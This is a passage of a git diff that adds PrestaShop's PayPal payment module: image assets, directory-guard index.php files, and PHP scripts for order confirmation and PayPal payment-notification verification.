au site du marchant.'; diff --git a/modules/paypal/img/bg-button.png b/modules/paypal/img/bg-button.png new file mode 100755 index 0000000..e7b1a9a Binary files /dev/null and b/modules/paypal/img/bg-button.png differ diff --git a/modules/paypal/img/bg-call-button.png b/modules/paypal/img/bg-call-button.png new file mode 100755 index 0000000..e0455ae Binary files /dev/null and b/modules/paypal/img/bg-call-button.png differ diff --git a/modules/paypal/img/blue_tick.png b/modules/paypal/img/blue_tick.png new file mode 100755 index 0000000..9b27b49 Binary files /dev/null and b/modules/paypal/img/blue_tick.png differ diff --git a/modules/paypal/img/bo-cards/AU_bo_cards.png b/modules/paypal/img/bo-cards/AU_bo_cards.png new file mode 100755 index 0000000..665df4c Binary files /dev/null and b/modules/paypal/img/bo-cards/AU_bo_cards.png differ diff --git a/modules/paypal/img/bo-cards/CN_bo_cards.png b/modules/paypal/img/bo-cards/CN_bo_cards.png new file mode 100755 index 0000000..be7071f Binary files /dev/null and b/modules/paypal/img/bo-cards/CN_bo_cards.png differ diff --git a/modules/paypal/img/bo-cards/DE_bo_cards.png b/modules/paypal/img/bo-cards/DE_bo_cards.png new file mode 100755 index 0000000..18d0bbd Binary files /dev/null and b/modules/paypal/img/bo-cards/DE_bo_cards.png differ diff --git a/modules/paypal/img/bo-cards/ES_bo_cards.png b/modules/paypal/img/bo-cards/ES_bo_cards.png new file mode 100755 index 0000000..e1fe0c5 Binary files /dev/null and b/modules/paypal/img/bo-cards/ES_bo_cards.png differ diff --git a/modules/paypal/img/bo-cards/FR_bo_cards.png b/modules/paypal/img/bo-cards/FR_bo_cards.png new file mode 100755 index 0000000..088bdcb Binary files /dev/null and b/modules/paypal/img/bo-cards/FR_bo_cards.png differ diff --git a/modules/paypal/img/bo-cards/GB_bo_cards.png b/modules/paypal/img/bo-cards/GB_bo_cards.png new file mode 100755 index 0000000..52fb111 Binary files /dev/null and b/modules/paypal/img/bo-cards/GB_bo_cards.png differ diff --git a/modules/paypal/img/bo-cards/HK_bo_cards.png b/modules/paypal/img/bo-cards/HK_bo_cards.png new file mode 100755 index 0000000..2b72a3b Binary files /dev/null and b/modules/paypal/img/bo-cards/HK_bo_cards.png differ diff --git a/modules/paypal/img/bo-cards/IT_bo_cards.png b/modules/paypal/img/bo-cards/IT_bo_cards.png new file mode 100755 index 0000000..07d6252 Binary files /dev/null and b/modules/paypal/img/bo-cards/IT_bo_cards.png differ diff --git a/modules/paypal/img/bo-cards/MY_bo_cards.png b/modules/paypal/img/bo-cards/MY_bo_cards.png new file mode 100755 index 0000000..63a9693 Binary files /dev/null and b/modules/paypal/img/bo-cards/MY_bo_cards.png differ diff --git a/modules/paypal/img/bo-cards/NZ_bo_cards.png b/modules/paypal/img/bo-cards/NZ_bo_cards.png new file mode 100755 index 0000000..0a820b0 Binary files /dev/null and b/modules/paypal/img/bo-cards/NZ_bo_cards.png differ diff --git a/modules/paypal/img/bo-cards/PL_bo_cards.png b/modules/paypal/img/bo-cards/PL_bo_cards.png new file mode 100755 index 0000000..c3d47f8 Binary files /dev/null and b/modules/paypal/img/bo-cards/PL_bo_cards.png differ diff --git a/modules/paypal/img/bo-cards/PayPal_bo_cards.png b/modules/paypal/img/bo-cards/PayPal_bo_cards.png new file mode 100755 index 0000000..b4e6392 Binary files /dev/null and b/modules/paypal/img/bo-cards/PayPal_bo_cards.png differ diff --git a/modules/paypal/img/bo-cards/RA_bo_cards.png b/modules/paypal/img/bo-cards/RA_bo_cards.png new file mode 100755 index 0000000..0eea77f Binary files /dev/null and b/modules/paypal/img/bo-cards/RA_bo_cards.png differ diff --git a/modules/paypal/img/bo-cards/RE_bo_cards.png b/modules/paypal/img/bo-cards/RE_bo_cards.png new file mode 100755 index 0000000..0eea77f Binary files /dev/null and b/modules/paypal/img/bo-cards/RE_bo_cards.png differ diff --git a/modules/paypal/img/bo-cards/SG_bo_cards.png b/modules/paypal/img/bo-cards/SG_bo_cards.png new file mode 100755 index 0000000..4713d91 Binary files /dev/null and b/modules/paypal/img/bo-cards/SG_bo_cards.png differ diff --git a/modules/paypal/img/bo-cards/TH_bo_cards.png b/modules/paypal/img/bo-cards/TH_bo_cards.png new file mode 100755 index 0000000..483d63f Binary files /dev/null and b/modules/paypal/img/bo-cards/TH_bo_cards.png differ diff --git a/modules/paypal/img/bo-cards/TR_bo_cards.png b/modules/paypal/img/bo-cards/TR_bo_cards.png new file mode 100755 index 0000000..483d63f Binary files /dev/null and b/modules/paypal/img/bo-cards/TR_bo_cards.png differ diff --git a/modules/paypal/img/bo-cards/TW_bo_cards.png b/modules/paypal/img/bo-cards/TW_bo_cards.png new file mode 100755 index 0000000..483d63f Binary files /dev/null and b/modules/paypal/img/bo-cards/TW_bo_cards.png differ diff --git a/modules/paypal/img/bo-cards/default.png b/modules/paypal/img/bo-cards/default.png new file mode 100755 index 0000000..405131a Binary files /dev/null and b/modules/paypal/img/bo-cards/default.png differ diff --git a/modules/paypal/img/bo-cards/index.php b/modules/paypal/img/bo-cards/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/img/bo-cards/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/img/call.png b/modules/paypal/img/call.png new file mode 100755 index 0000000..2f7e284 Binary files /dev/null and b/modules/paypal/img/call.png differ diff --git a/modules/paypal/img/default_logos/AU_vertical_solution_PP.png b/modules/paypal/img/default_logos/AU_vertical_solution_PP.png new file mode 100755 index 0000000..6e932ef Binary files /dev/null and b/modules/paypal/img/default_logos/AU_vertical_solution_PP.png differ diff --git a/modules/paypal/img/default_logos/BE_horizontal_solution_PP.png b/modules/paypal/img/default_logos/BE_horizontal_solution_PP.png new file mode 100755 index 0000000..c5bbfaf Binary files /dev/null and b/modules/paypal/img/default_logos/BE_horizontal_solution_PP.png differ diff --git a/modules/paypal/img/default_logos/BE_vertical_solution_PP.png b/modules/paypal/img/default_logos/BE_vertical_solution_PP.png new file mode 100755 index 0000000..cb799f5 Binary files /dev/null and b/modules/paypal/img/default_logos/BE_vertical_solution_PP.png differ diff --git a/modules/paypal/img/default_logos/DE_horizontal_solution_PP.gif b/modules/paypal/img/default_logos/DE_horizontal_solution_PP.gif new file mode 100755 index 0000000..b432414 Binary files /dev/null and b/modules/paypal/img/default_logos/DE_horizontal_solution_PP.gif differ diff --git a/modules/paypal/img/default_logos/DE_vertical_solution_PP.gif b/modules/paypal/img/default_logos/DE_vertical_solution_PP.gif new file mode 100755 index 0000000..b432414 Binary files /dev/null and b/modules/paypal/img/default_logos/DE_vertical_solution_PP.gif differ diff --git a/modules/paypal/img/default_logos/FR_vertical_solution_PP.png b/modules/paypal/img/default_logos/FR_vertical_solution_PP.png new file mode 100755 index 0000000..826baa2 Binary files /dev/null and b/modules/paypal/img/default_logos/FR_vertical_solution_PP.png differ diff --git a/modules/paypal/img/default_logos/PL_horizontal_solution_PP.png b/modules/paypal/img/default_logos/PL_horizontal_solution_PP.png new file mode 100755 index 0000000..9ab199c Binary files /dev/null and b/modules/paypal/img/default_logos/PL_horizontal_solution_PP.png differ diff --git a/modules/paypal/img/default_logos/PL_vertical_solution_PP.png b/modules/paypal/img/default_logos/PL_vertical_solution_PP.png new file mode 100755 index 0000000..dbdaf65 Binary files /dev/null and b/modules/paypal/img/default_logos/PL_vertical_solution_PP.png differ diff --git a/modules/paypal/img/default_logos/RA_horizontal_solution_PP.png b/modules/paypal/img/default_logos/RA_horizontal_solution_PP.png new file mode 100755 index 0000000..9ab199c Binary files /dev/null and b/modules/paypal/img/default_logos/RA_horizontal_solution_PP.png differ diff --git a/modules/paypal/img/default_logos/RA_vertical_solution_PP.png b/modules/paypal/img/default_logos/RA_vertical_solution_PP.png new file mode 100755 index 0000000..dbdaf65 Binary files /dev/null and b/modules/paypal/img/default_logos/RA_vertical_solution_PP.png differ diff --git a/modules/paypal/img/default_logos/RE_horizontal_solution_PP.png b/modules/paypal/img/default_logos/RE_horizontal_solution_PP.png new file mode 100755 index 0000000..9ab199c Binary files /dev/null and b/modules/paypal/img/default_logos/RE_horizontal_solution_PP.png differ diff --git a/modules/paypal/img/default_logos/RE_vertical_solution_PP.png b/modules/paypal/img/default_logos/RE_vertical_solution_PP.png new file mode 100755 index 0000000..dbdaf65 Binary files /dev/null and b/modules/paypal/img/default_logos/RE_vertical_solution_PP.png differ diff --git a/modules/paypal/img/default_logos/default_horizontal.png b/modules/paypal/img/default_logos/default_horizontal.png new file mode 100755 index 0000000..8c57be0 Binary files /dev/null and b/modules/paypal/img/default_logos/default_horizontal.png differ diff --git a/modules/paypal/img/default_logos/default_logo.gif b/modules/paypal/img/default_logos/default_logo.gif new file mode 100755 index 0000000..2a58716 Binary files /dev/null and b/modules/paypal/img/default_logos/default_logo.gif differ diff --git a/modules/paypal/img/default_logos/default_vertical.png b/modules/paypal/img/default_logos/default_vertical.png new file mode 100755 index 0000000..ee99c03 Binary files /dev/null and b/modules/paypal/img/default_logos/default_vertical.png differ diff --git a/modules/paypal/img/default_logos/index.php b/modules/paypal/img/default_logos/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/img/default_logos/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/img/index.php b/modules/paypal/img/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/img/logos/FR_PayPal_logo_100x45.gif b/modules/paypal/img/logos/FR_PayPal_logo_100x45.gif new file mode 100755 index 0000000..5f9ff8b Binary files /dev/null and b/modules/paypal/img/logos/FR_PayPal_logo_100x45.gif differ diff --git a/modules/paypal/img/logos/FR_PayPal_logo_150x65.gif b/modules/paypal/img/logos/FR_PayPal_logo_150x65.gif new file mode 100755 index 0000000..1e2a954 Binary files /dev/null and b/modules/paypal/img/logos/FR_PayPal_logo_150x65.gif differ diff --git a/modules/paypal/img/logos/FR_PayPal_logo_80x35.gif b/modules/paypal/img/logos/FR_PayPal_logo_80x35.gif new file mode 100755 index 0000000..a94b479 Binary files /dev/null and b/modules/paypal/img/logos/FR_PayPal_logo_80x35.gif differ diff --git a/modules/paypal/img/logos/FR_PayPal_mark_37x23.gif b/modules/paypal/img/logos/FR_PayPal_mark_37x23.gif new file mode 100755 index 0000000..25333b1 Binary files /dev/null and b/modules/paypal/img/logos/FR_PayPal_mark_37x23.gif differ diff --git a/modules/paypal/img/logos/FR_PayPal_mark_50x34.gif b/modules/paypal/img/logos/FR_PayPal_mark_50x34.gif new file mode 100755 index 0000000..9640eb0 Binary files /dev/null and b/modules/paypal/img/logos/FR_PayPal_mark_50x34.gif differ diff --git a/modules/paypal/img/logos/FR_PayPal_mark_60x38.gif b/modules/paypal/img/logos/FR_PayPal_mark_60x38.gif new file mode 100755 index 0000000..2a58716 Binary files /dev/null and b/modules/paypal/img/logos/FR_PayPal_mark_60x38.gif differ diff --git a/modules/paypal/img/logos/FR_bnr_horizontal_solution_PP_327wx80h.gif b/modules/paypal/img/logos/FR_bnr_horizontal_solution_PP_327wx80h.gif new file mode 100755 index 0000000..38606de Binary files /dev/null and b/modules/paypal/img/logos/FR_bnr_horizontal_solution_PP_327wx80h.gif differ diff --git a/modules/paypal/img/logos/FR_logo_paypal_moyens_paiement_fr.jpg b/modules/paypal/img/logos/FR_logo_paypal_moyens_paiement_fr.jpg new file mode 100755 index 0000000..6c42d3f Binary files /dev/null and b/modules/paypal/img/logos/FR_logo_paypal_moyens_paiement_fr.jpg differ diff --git a/modules/paypal/img/logos/FR_pp_cc_mark_111x69.jpg b/modules/paypal/img/logos/FR_pp_cc_mark_111x69.jpg new file mode 100755 index 0000000..956bb45 Binary files /dev/null and b/modules/paypal/img/logos/FR_pp_cc_mark_111x69.jpg differ diff --git a/modules/paypal/img/logos/FR_pp_cc_mark_37x23.jpg b/modules/paypal/img/logos/FR_pp_cc_mark_37x23.jpg new file mode 100755 index 0000000..8feb35c Binary files /dev/null and b/modules/paypal/img/logos/FR_pp_cc_mark_37x23.jpg differ diff --git a/modules/paypal/img/logos/FR_pp_cc_mark_74x46.jpg b/modules/paypal/img/logos/FR_pp_cc_mark_74x46.jpg new file mode 100755 index 0000000..cfd90c1 Binary files /dev/null and b/modules/paypal/img/logos/FR_pp_cc_mark_74x46.jpg differ diff --git a/modules/paypal/img/logos/GB_PayPal_logo_100x45.gif b/modules/paypal/img/logos/GB_PayPal_logo_100x45.gif new file mode 100755 index 0000000..5f9ff8b Binary files /dev/null and b/modules/paypal/img/logos/GB_PayPal_logo_100x45.gif differ diff --git a/modules/paypal/img/logos/GB_PayPal_logo_150x65.gif b/modules/paypal/img/logos/GB_PayPal_logo_150x65.gif new file mode 100755 index 0000000..1e2a954 Binary files /dev/null and b/modules/paypal/img/logos/GB_PayPal_logo_150x65.gif differ diff --git a/modules/paypal/img/logos/GB_PayPal_logo_80x35.gif b/modules/paypal/img/logos/GB_PayPal_logo_80x35.gif new file mode 100755 index 0000000..a94b479 Binary files /dev/null and b/modules/paypal/img/logos/GB_PayPal_logo_80x35.gif differ diff --git a/modules/paypal/img/logos/GB_PayPal_mark_37x23.gif b/modules/paypal/img/logos/GB_PayPal_mark_37x23.gif new file mode 100755 index 0000000..25333b1 Binary files /dev/null and b/modules/paypal/img/logos/GB_PayPal_mark_37x23.gif differ diff --git a/modules/paypal/img/logos/GB_PayPal_mark_50x34.gif b/modules/paypal/img/logos/GB_PayPal_mark_50x34.gif new file mode 100755 index 0000000..9640eb0 Binary files /dev/null and b/modules/paypal/img/logos/GB_PayPal_mark_50x34.gif differ diff --git a/modules/paypal/img/logos/GB_PayPal_mark_60x38.gif b/modules/paypal/img/logos/GB_PayPal_mark_60x38.gif new file mode 100755 index 0000000..2a58716 Binary files /dev/null and b/modules/paypal/img/logos/GB_PayPal_mark_60x38.gif differ diff --git a/modules/paypal/img/logos/GB_horizontal_solution_PP.gif b/modules/paypal/img/logos/GB_horizontal_solution_PP.gif new file mode 100755 index 0000000..5ad665e Binary files /dev/null and b/modules/paypal/img/logos/GB_horizontal_solution_PP.gif differ diff --git a/modules/paypal/img/logos/GB_vertical_solution_PP.gif b/modules/paypal/img/logos/GB_vertical_solution_PP.gif new file mode 100755 index 0000000..a92aefc Binary files /dev/null and b/modules/paypal/img/logos/GB_vertical_solution_PP.gif differ diff --git a/modules/paypal/img/logos/default_PayPal_logo_100x45.gif b/modules/paypal/img/logos/default_PayPal_logo_100x45.gif new file mode 100755 index 0000000..5f9ff8b Binary files /dev/null and b/modules/paypal/img/logos/default_PayPal_logo_100x45.gif differ diff --git a/modules/paypal/img/logos/default_PayPal_logo_150x65.gif b/modules/paypal/img/logos/default_PayPal_logo_150x65.gif new file mode 100755 index 0000000..1e2a954 Binary files /dev/null and b/modules/paypal/img/logos/default_PayPal_logo_150x65.gif differ diff --git a/modules/paypal/img/logos/default_PayPal_logo_80x35.gif b/modules/paypal/img/logos/default_PayPal_logo_80x35.gif new file mode 100755 index 0000000..a94b479 Binary files /dev/null and b/modules/paypal/img/logos/default_PayPal_logo_80x35.gif differ diff --git a/modules/paypal/img/logos/default_PayPal_mark_37x23.gif b/modules/paypal/img/logos/default_PayPal_mark_37x23.gif new file mode 100755 index 0000000..25333b1 Binary files /dev/null and b/modules/paypal/img/logos/default_PayPal_mark_37x23.gif differ diff --git a/modules/paypal/img/logos/default_PayPal_mark_50x34.gif b/modules/paypal/img/logos/default_PayPal_mark_50x34.gif new file mode 100755 index 0000000..9640eb0 Binary files /dev/null and b/modules/paypal/img/logos/default_PayPal_mark_50x34.gif differ diff --git a/modules/paypal/img/logos/default_PayPal_mark_60x38.gif b/modules/paypal/img/logos/default_PayPal_mark_60x38.gif new file mode 100755 index 0000000..2a58716 Binary files /dev/null and b/modules/paypal/img/logos/default_PayPal_mark_60x38.gif differ diff --git a/modules/paypal/img/logos/express_checkout_mobile/CO_de_DE_orange_295x43.png b/modules/paypal/img/logos/express_checkout_mobile/CO_de_DE_orange_295x43.png new file mode 100755 index 0000000..103b825 Binary files /dev/null and b/modules/paypal/img/logos/express_checkout_mobile/CO_de_DE_orange_295x43.png differ diff --git a/modules/paypal/img/logos/express_checkout_mobile/CO_en_EN_orange_295x43.png b/modules/paypal/img/logos/express_checkout_mobile/CO_en_EN_orange_295x43.png new file mode 100755 index 0000000..57d24de Binary files /dev/null and b/modules/paypal/img/logos/express_checkout_mobile/CO_en_EN_orange_295x43.png differ diff --git a/modules/paypal/img/logos/express_checkout_mobile/CO_en_US_orange_295x43.png b/modules/paypal/img/logos/express_checkout_mobile/CO_en_US_orange_295x43.png new file mode 100755 index 0000000..57d24de Binary files /dev/null and b/modules/paypal/img/logos/express_checkout_mobile/CO_en_US_orange_295x43.png differ diff --git a/modules/paypal/img/logos/express_checkout_mobile/CO_es_ES_orange_295x43.png b/modules/paypal/img/logos/express_checkout_mobile/CO_es_ES_orange_295x43.png new file mode 100755 index 0000000..f64cf4b Binary files /dev/null and b/modules/paypal/img/logos/express_checkout_mobile/CO_es_ES_orange_295x43.png differ diff --git a/modules/paypal/img/logos/express_checkout_mobile/CO_fr_FR_orange_295x43.png b/modules/paypal/img/logos/express_checkout_mobile/CO_fr_FR_orange_295x43.png new file mode 100755 index 0000000..1943546 Binary files /dev/null and b/modules/paypal/img/logos/express_checkout_mobile/CO_fr_FR_orange_295x43.png differ diff --git a/modules/paypal/img/logos/express_checkout_mobile/CO_it_IT_orange_295x43.png b/modules/paypal/img/logos/express_checkout_mobile/CO_it_IT_orange_295x43.png new file mode 100755 index 0000000..d8b73d0 Binary files /dev/null and b/modules/paypal/img/logos/express_checkout_mobile/CO_it_IT_orange_295x43.png differ diff --git a/modules/paypal/img/logos/express_checkout_mobile/CO_ja_JP_orange_295x43.png b/modules/paypal/img/logos/express_checkout_mobile/CO_ja_JP_orange_295x43.png new file mode 100755 index 0000000..dc56332 Binary files /dev/null and b/modules/paypal/img/logos/express_checkout_mobile/CO_ja_JP_orange_295x43.png differ diff --git a/modules/paypal/img/logos/express_checkout_mobile/CO_nl_NL_orange_295x43.png b/modules/paypal/img/logos/express_checkout_mobile/CO_nl_NL_orange_295x43.png new file mode 100755 index 0000000..4220f84 Binary files /dev/null and b/modules/paypal/img/logos/express_checkout_mobile/CO_nl_NL_orange_295x43.png differ diff --git a/modules/paypal/img/logos/express_checkout_mobile/CO_pl_PL_orange_295x43.png b/modules/paypal/img/logos/express_checkout_mobile/CO_pl_PL_orange_295x43.png new file mode 100755 index 0000000..41f6ef5 Binary files /dev/null and b/modules/paypal/img/logos/express_checkout_mobile/CO_pl_PL_orange_295x43.png differ diff --git a/modules/paypal/img/logos/express_checkout_mobile/CO_pt_BR_orange_295x43.png b/modules/paypal/img/logos/express_checkout_mobile/CO_pt_BR_orange_295x43.png new file mode 100755 index 0000000..d59b9c2 Binary files /dev/null and b/modules/paypal/img/logos/express_checkout_mobile/CO_pt_BR_orange_295x43.png differ diff --git a/modules/paypal/img/logos/express_checkout_mobile/CO_zh_CN_orange_295x43.png b/modules/paypal/img/logos/express_checkout_mobile/CO_zh_CN_orange_295x43.png new file mode 100755 index 0000000..a57d817 Binary files /dev/null and b/modules/paypal/img/logos/express_checkout_mobile/CO_zh_CN_orange_295x43.png differ diff --git a/modules/paypal/img/logos/express_checkout_mobile/CO_zh_HK_orange_295x43.png b/modules/paypal/img/logos/express_checkout_mobile/CO_zh_HK_orange_295x43.png new file mode 100755 index 0000000..d10ff5e Binary files /dev/null and b/modules/paypal/img/logos/express_checkout_mobile/CO_zh_HK_orange_295x43.png differ diff --git a/modules/paypal/img/logos/express_checkout_mobile/CO_zh_TW_orange_295x43.png b/modules/paypal/img/logos/express_checkout_mobile/CO_zh_TW_orange_295x43.png new file mode 100755 index 0000000..d10ff5e Binary files /dev/null and b/modules/paypal/img/logos/express_checkout_mobile/CO_zh_TW_orange_295x43.png differ diff --git a/modules/paypal/img/logos/express_checkout_mobile/index.php b/modules/paypal/img/logos/express_checkout_mobile/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/img/logos/express_checkout_mobile/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/img/logos/index.php b/modules/paypal/img/logos/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/img/logos/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/img/mail.png b/modules/paypal/img/mail.png new file mode 100755 index 0000000..a619741 Binary files /dev/null and b/modules/paypal/img/mail.png differ diff --git a/modules/paypal/img/paypal_login_blue.png b/modules/paypal/img/paypal_login_blue.png new file mode 100755 index 0000000..dad3787 Binary files /dev/null and b/modules/paypal/img/paypal_login_blue.png differ diff --git a/modules/paypal/img/paypal_login_grey.png b/modules/paypal/img/paypal_login_grey.png new file mode 100755 index 0000000..a6973ec Binary files /dev/null and b/modules/paypal/img/paypal_login_grey.png differ diff --git a/modules/paypal/img/sprites.png b/modules/paypal/img/sprites.png new file mode 100755 index 0000000..de5a414 Binary files /dev/null and b/modules/paypal/img/sprites.png differ diff --git a/modules/paypal/img/template.png b/modules/paypal/img/template.png new file mode 100755 index 0000000..7221d5b Binary files /dev/null and b/modules/paypal/img/template.png differ diff --git a/modules/paypal/index.php b/modules/paypal/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/integral_evolution/confirm.php b/modules/paypal/integral_evolution/confirm.php new file mode 100755 index 0000000..f4c6a6e --- /dev/null +++ b/modules/paypal/integral_evolution/confirm.php @@ -0,0 +1,41 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once(dirname(__FILE__).'/../../../config/config.inc.php'); +include_once(dirname(__FILE__).'/../../../init.php'); + +if ($id_cart = Tools::getValue('id_cart')) +{ + $id_order = Db::getInstance()->getValue(' + SELECT id_order + FROM `'._DB_PREFIX_.'paypal_order` + WHERE `id_order` = '.(int)Order::getOrderByCartId((int)$id_cart)); + + if ($id_order !== false) + echo (int)$id_order; +} + +die(); diff --git a/modules/paypal/integral_evolution/index.php b/modules/paypal/integral_evolution/index.php new file mode 100755 index 0000000..236beed --- /dev/null +++ b/modules/paypal/integral_evolution/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/paypal/integral_evolution/notifier.php b/modules/paypal/integral_evolution/notifier.php new file mode 100755 index 0000000..6152fbd --- /dev/null +++ b/modules/paypal/integral_evolution/notifier.php @@ -0,0 +1,120 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once(dirname(__FILE__).'/../../../config/config.inc.php'); +include_once(_PS_MODULE_DIR_.'paypal/paypal.php'); + +/* + * Instant payment notification class. + * (wait for PayPal payment confirmation, then validate order) + */ +class PayPalNotifier extends PayPal +{ + public function confirmOrder($custom) + { + $cart = new Cart((int)$custom['id_cart']); + + $cart_details = $cart->getSummaryDetails(null, true); + $cart_hash = sha1(serialize($cart->nbProducts())); + + $this->context->cart = $cart; + $address = new Address((int)$cart->id_address_invoice); + $this->context->country = new Country((int)$address->id_country); + $this->context->customer = new Customer((int)$cart->id_customer); + $this->context->language = new Language((int)$cart->id_lang); + $this->context->currency = new Currency((int)$cart->id_currency); + + if (isset($cart->id_shop)) + $this->context->shop = new Shop($cart->id_shop); + + $result = $this->getResult(); + + if (strcmp(trim($result), "VERIFIED") == 0) + { + $currency_decimals = is_array($this->context->currency) ? (int)$this->context->currency['decimals'] : (int)$this->context->currency->decimals; + $this->decimals = $currency_decimals * _PS_PRICE_DISPLAY_PRECISION_; + + $message = null; + $mc_gross = Tools::ps_round(Tools::getValue('mc_gross'), $this->decimals); + + $cart_details = $cart->getSummaryDetails(null, true); + + $shipping = $cart_details['total_shipping_tax_exc']; + $subtotal = $cart_details['total_price_without_tax'] - $cart_details['total_shipping_tax_exc']; + $tax = $cart_details['total_tax']; + + $total_price = Tools::ps_round($shipping + $subtotal + $tax, $this->decimals); + + if ($this->comp($mc_gross, $total_price, 2) !== 0) + { + $payment = (int)Configuration::get('PS_OS_ERROR'); + $message = $this->l('Price paid on paypal is not the same that on PrestaShop.').'
        '; + } + elseif ($custom['hash'] != $cart_hash) + { + $payment = (int)Configuration::get('PS_OS_ERROR'); + $message = $this->l('Cart changed, please retry.').'
        '; + } + else + { + $payment = (int)Configuration::get('PS_OS_PAYMENT'); + $message = $this->l('Payment accepted.').'
        '; + } + + $customer = new Customer((int)$cart->id_customer); + $transaction = PayPalOrder::getTransactionDetails(false); + + if (_PS_VERSION_ < '1.5') + $shop = null; + else + { + $shop_id = $this->context->shop->id; + $shop = new Shop($shop_id); + } + + $this->validateOrder($cart->id, $payment, $total_price, $this->displayName, $message, $transaction, $cart->id_currency, false, $customer->secure_key, $shop); + } + } + + public function getResult() + { + if ((int)Configuration::get('PAYPAL_SANDBOX') == 1) + $action_url = 'https://www.sandbox.paypal.com/cgi-bin/webscr?cmd=_notify-validate'; + else + $action_url = 'https://www.paypal.com/cgi-bin/webscr?cmd=_notify-validate'; + + $request = '&'.http_build_query($_POST, '&'); + return Tools::file_get_contents($action_url.$request); + } + +} + +if ($custom = Tools::getValue('custom')) +{ + $notifier = new PayPalNotifier(); + $result = Tools::jsonDecode($custom, true); + $notifier->confirmOrder($result); +} diff --git a/modules/paypal/integral_evolution/submit.php b/modules/paypal/integral_evolution/submit.php new file mode 100755 index 0000000..9aa7677 --- /dev/null +++ b/modules/paypal/integral_evolution/submit.php @@ -0,0 +1,107 @@ + +* @copyright 2007-2014 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +include_once(dirname(__FILE__).'/../../../config/config.inc.php'); +include_once(dirname(__FILE__).'/../../../init.php'); + +if (version_compare(_PS_VERSION_, '1.5', '<')) + require_once(_PS_ROOT_DIR_.'/controllers/OrderConfirmationController.php'); + +class PayPalIntegralEvolutionSubmit extends OrderConfirmationControllerCore +{ + public $context; + + public function __construct() + { + /** Backward compatibility */ + include_once(_PS_MODULE_DIR_.'/paypal/backward_compatibility/backward.php'); + $this->context = Context::getContext(); + parent::__construct(); + } + + /* + * Display PayPal order confirmation page + */ + public function 